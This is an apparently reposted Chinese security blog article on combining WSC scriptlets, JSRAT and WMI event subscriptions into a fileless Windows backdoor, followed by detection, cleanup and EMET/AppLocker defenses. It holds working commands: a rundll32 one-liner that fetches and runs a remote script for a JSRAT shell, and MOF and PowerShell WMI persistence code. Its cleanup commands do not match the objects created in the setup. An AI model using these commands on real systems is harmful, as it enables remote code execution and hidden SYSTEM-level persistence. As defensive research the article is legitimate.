博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
WSC、JSRAT and WMI Backdoor
阅读量:5823 次
发布时间:2019-06-18

本文共 4952 字,大约阅读时间需要 16 分钟。

三好学生 · 2016/05/06 14:16

0x00 前言


最近学习了lcx提供的资料《利用wsc来做一个asp后门》,在了解了wsc文件的一些特性后,产生了一个有趣的想法:

如果将其与JSRAT和WMI Backdoor相结合,那将会有多大的威力呢?

相关资料:

《利用wsc来做一个asp后门》:

《WMI Backdoor》:
《JavaScript Backdoor》:

0x01 WSC


WSC,全称Windows Script

可用来开发COM组件
可被其他语言调用

更多介绍见:

1、简单示例

一个简单的wsc脚本如下,保存为test.wsc:

#!xml
复制代码

通过如下js代码即可调用脚本中的Sum函数:

#!javascriptvar ref = GetObject("script:C:\\testwsc\\test.wsc");var x = ref.Sum(4,6);WScript.Echo(x);复制代码

如图

注:

wsc文件的后缀名可以任意

2、本地启动计算器

以上内容和sct文件似曾相识,所以我们可以把里面的功能修改为启动一个计算器

wsc文件如下:

#!xml
复制代码

对应的js文件可简化为:

#!javascriptGetObject("script:C:\\testwsc\\test.wsc");复制代码

执行后如图:

3、远程启动计算器

—— 如果把wsc文件放到服务器上面呢? —— 当然可以正常执行。

地址如下:

js文件修改为:

#!javascriptGetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")复制代码

执行如图:

0x02 JSRAT


如果用在rundll32执行js的方法上会怎样呢?

1、calc

cmd下执行:

#!shellrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")复制代码

如图

2、jsrat

如果把服务器上文件的内容替换成jsrat的启动代码会怎样呢?

代码如下:

#!xml
复制代码

为区别演示,已上传至另一文件testJSRAT:

cmd下执行:

#!shellrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT")复制代码

执行后弹回JSRAT的shell

3、分析

这种方式有如下优点:

a.再次简化了JSRAT的启动代码,只需要执行GetObject()
b.由于是远程执行wsc文件,所以payload随时可以更改,代码可以随时升级

0x03 WMI Backdoor


通过WMI不仅可以定时执行程序,还能定时执行脚本

定时执行程序的方法之前介绍过,此处跳过,下面介绍一下定时执行脚本的方法

WMI支持vbs和js脚本,这里只介绍启动js脚本的方法

1、mof

注意转义字符

"用\"表示
内容如下:

pragma namespace("\\\\.\\root\\subscription")    instance of __EventFilter as $EventFilter{    EventNamespace = "Root\\Cimv2";    Name  = "filtP1";    Query = "Select * From __InstanceModificationEvent "            "Where TargetInstance Isa \"Win32_LocalTime\" "            "And TargetInstance.Second = 1";    QueryLanguage = "WQL";};    instance of ActiveScriptEventConsumer as $Consumer{    Name = "consP1";    ScriptingEngine = "JScript";    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";};    instance of __FilterToConsumerBinding{    Consumer   = $Consumer;    Filter = $EventFilter;};复制代码

演示略

2、powershell

注意转义字符

"用""表示
内容如下:

#!powershell$filterName = 'filtP1'$consumerName = 'consP1'$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"    $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"    $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop    $WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}    Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}复制代码

演示略

3、检测

#!powershellGet-WMIObject -Namespace root\Subscription -Class __EventFilter    Get-WMIObject -Namespace root\Subscription -Class __EventConsumer    Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding复制代码

4、清除

#!powershellGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='filtP1'" | Remove-WmiObject -Verbose    Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='consP1'" | Remove-WmiObject -Verbose    Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose复制代码

5、分析

a. 注册后每隔1分钟执行一次远程服务器上的js脚本

b. 权限为system
c. payload可以随时更换
d. 不写文件
e. 不写注册表
f. 自启动

0x04 防御


1、第一道防线

确保系统不被入侵。这个后门方法植入的前提是需要在系统上能够执行代码,所以建议勤打补丁、安装杀毒软件、防火墙

2、第二道防线

建立白名单机制。启动Windows AppLocker,限制白名单以外的程序和脚本运行

3、第三道防线

使用EMET(增强减灾体验工具)。配置规则可拦截并记录regsvr32和rundll32的使用 参考链接:

4、配置EMET拦截regsvr32示例:

1、下载安装EMET 5.5

2、配置EMET组策略模板

(a)%ProgramFiles%\EMET 5.5\Deployment\Group Policy Files\%ProgramFiles(x86)%\EMET 5.5\Deployment\Group Policy Files\(64位系统)下找到:

EMET.admx
EMET.adml

如图

(b)将EMET.admx复制到%SystemRoot%\PolicyDefinitions\

(c)将EMET.adml复制到%SystemRoot%\PolicyDefinitions\zh-CN下(英文版系统复制到%SystemRoot%\PolicyDefinitions\en-us\

3、配置EMET规则

(a)输入gpedit.msc进入组策略 中文系统为:

计算机配置-管理模板-Windows组件-EMET

英文系统为:

Computer Policy > Administrative Templates > Windows Components > EMET

(b)双击Application Configuration

选择启用
点击显示

如图

(c)设置

值名称: *\regsvr32.exe

值: +ASR asr_modules:scrobj.dll;scrrun.dll

如图

(d)更新组策略模板

管理权权限的cmd下输入:

#!shellgpupdate /force复制代码

如图

(e)测试

通过regsvr32调用scrobj.dll的操作被拦截

0x05 小结


本文将WSC、JSRAT和WMI Backdoor三项技术融合,在脚本层面实现了一个近乎“完美”的后门。

当然,本文的初衷是在这项技术被滥用前尽可能的帮助大家提前做好防御的准备。

转载地址:http://lmbdx.baihongyu.com/

你可能感兴趣的文章
又拍云沈志华:如何打造一款安全的App
查看>>
感悟贴2016-05-13
查看>>
参加婚礼
查看>>
Spring ’14 Wave Update: Installing Dynamics CRM on Tablets for Windows 8.1
查看>>
TEST
查看>>
d3 v4实现饼状图,折线标注
查看>>
微软的云策略
查看>>
Valid Parentheses
查看>>
AIX 配置vncserver
查看>>
windows下Python 3.x图形图像处理库PIL的安装
查看>>
【IL】IL生成exe的方法
查看>>
没有JS的前端:体积更小、速度更快!
查看>>
数据指标/表现度量系统(Performance Measurement System)综述
查看>>
GitHub宣布推出Electron 1.0和Devtron,并将提供无限制的私有代码库
查看>>
论模式在领域驱动设计中的重要性
查看>>
有关GitHub仓库分支的几个问题
查看>>
EAServer 6.1 .NET Client Support
查看>>
锐捷交换机密码恢复(1)
查看>>
Method Swizzling对Method的要求
查看>>
佛祖保佑,永不宕机
查看>>